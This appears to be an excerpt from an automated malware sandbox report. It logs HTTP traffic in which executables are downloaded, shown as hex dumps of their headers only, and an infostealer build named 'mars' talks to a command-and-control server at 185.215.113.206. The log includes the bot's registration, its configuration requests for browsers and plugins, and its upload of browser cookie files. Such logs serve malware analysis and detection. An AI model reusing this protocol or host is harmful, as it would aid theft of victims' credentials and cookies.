00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 17:00:52 GMTContent-Type: application/octet-streamContent-Length: 1913856Last-Modified: Tue, 19 Nov 2024 16:48:46 GMTConnection: keep-aliveETag: "673cc16e-1d3400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 30 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4c 00 00 04 00 00 b4 06 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 13 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 12 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 61 70 79 6b 69 78 62 00 20 1a 00 00 00 32 00 00 18 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 76 6e 66 79 67 6a 78 00 10 00 00 00 20 4c 00 00 04 00 00 00 0e 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4c 00 00 22 00 00 00 12 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 17:02:08 GMTContent-Type: application/octet-streamContent-Length: 4408320Last-Modified: Tue, 19 Nov 2024 14:51:52 GMTConnection: keep-aliveETag: "673ca608-434400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 a0 b9 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 b9 00 00 04 00 00 d8 cb 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 8b b9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8b b9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 65 00 00 10 00 00 00 6c 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 65 00 00 00 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 65 00 00 02 00 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 38 00 00 80 65 00 00 02 00 00 00 7e 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 71 6b 73 75 75 63 66 00 a0 1b 00 00 f0 9d 00 00 9c 1b 00 00 80 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 71 6a 6a 62 72 65 79 00 10 00 00 00 90 b9 00 00 06 00 00 00 1c 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 b9 00 00 22 00 00 00 22 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 17:02:15 GMTContent-Type: application/octet-streamContent-Length: 1871360Last-Modified: Tue, 19 Nov 2024 16:48:32 GMTConnection: keep-aliveETag: "673cc160-1c8e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 50 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 4a 00 00 04 00 00 a0 13 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 80 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 71 6c 7a 6b 6c 75 74 00 00 1a 00 00 40 30 00 00 f4 19 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 63 65 72 6c 6b 76 6a 00 10 00 00 00 40 4a 00 00 06 00 00 00 66 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 4a 00 00 22 00 00 00 6c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 19 Nov 2024 17:02:20 GMTContent-Type: application/octet-streamContent-Length: 1761792Last-Modified: Tue, 19 Nov 2024 16:48:39 GMTConnection: keep-aliveETag: "673cc167-1ae200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 e0 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 68 00 00 04 00 00 2e 94 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 68 75 67 75 62 76 72 68 00 50 19 00 00 80 4e 00 00 44 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 68 6a 74 66 68 78 70 00 10 00 00 00 d0 67 00 00 04 00 00 00 bc 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 67 00 00 22 00 00 00 c0 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 43 39 43 46 37 41 32 32 45 44 31 32 35 33 31 33 31 38 31 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="hwid"FDC9CF7A22ED1253131813------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="build"mars------GCAKKECAEGDGCBFIJEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="message"browsers------JDAFBKECAKFCAAAKJDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCFBGCBFHJECBGDAKKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 46 42 47 43 42 46 48 4a 45 43 42 47 44 41 4b 4b 2d 2d 0d 0a Data Ascii: ------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------EBGCFBGCBFHJECBGDAKKContent-Disposition: form-data; name="message"plugins------EBGCFBGCBFHJECBGDAKK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEBFHIJECFIDGDGCGHCGHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 2d 2d 0d 0a Data Ascii: ------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="message"fplugins------KEBFHIJECFIDGDGCGHCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHJKKFBAEGDGDGCBKECHost: 185.215.113.206Content-Length: 7139Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEGHIJEHJDHIDHIDAEHCHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 48 43 2d 2d 0d 0a Data Ascii: ------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AEGHIJEHJDHIDHIDAEHCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AEGHIJEHJDHIDHIDAEHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 65 33 30 34 31 63 30 38 30 61 65 36 64 32 39 39 39 31 31 32 36 35 65 33 65 64 38 64 33 34 61 35 36 65 30 61 63 35 65 64 31 31 61 37 39 63 65 32 63 37 30 37 39 36 65 35 38 66 62 34 64 34 63 38 30 35 34 30 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 45 48 49 49 4a 4a 45 43 46 48 4a 4b 45 43 46 48 44 2d 2d 0d 0a Data Ascii: ------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="token"ae3041c080ae6d299911265e3ed8d34a56e0ac5ed11a79ce2c70796e58fb4d4c805406db------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJKEHIIJJECFHJKECFHDContent-Disposition: form-data; name="file"------KJKEHIIJJECFHJKECFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKEGDHCFCAAECAKECBAFHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
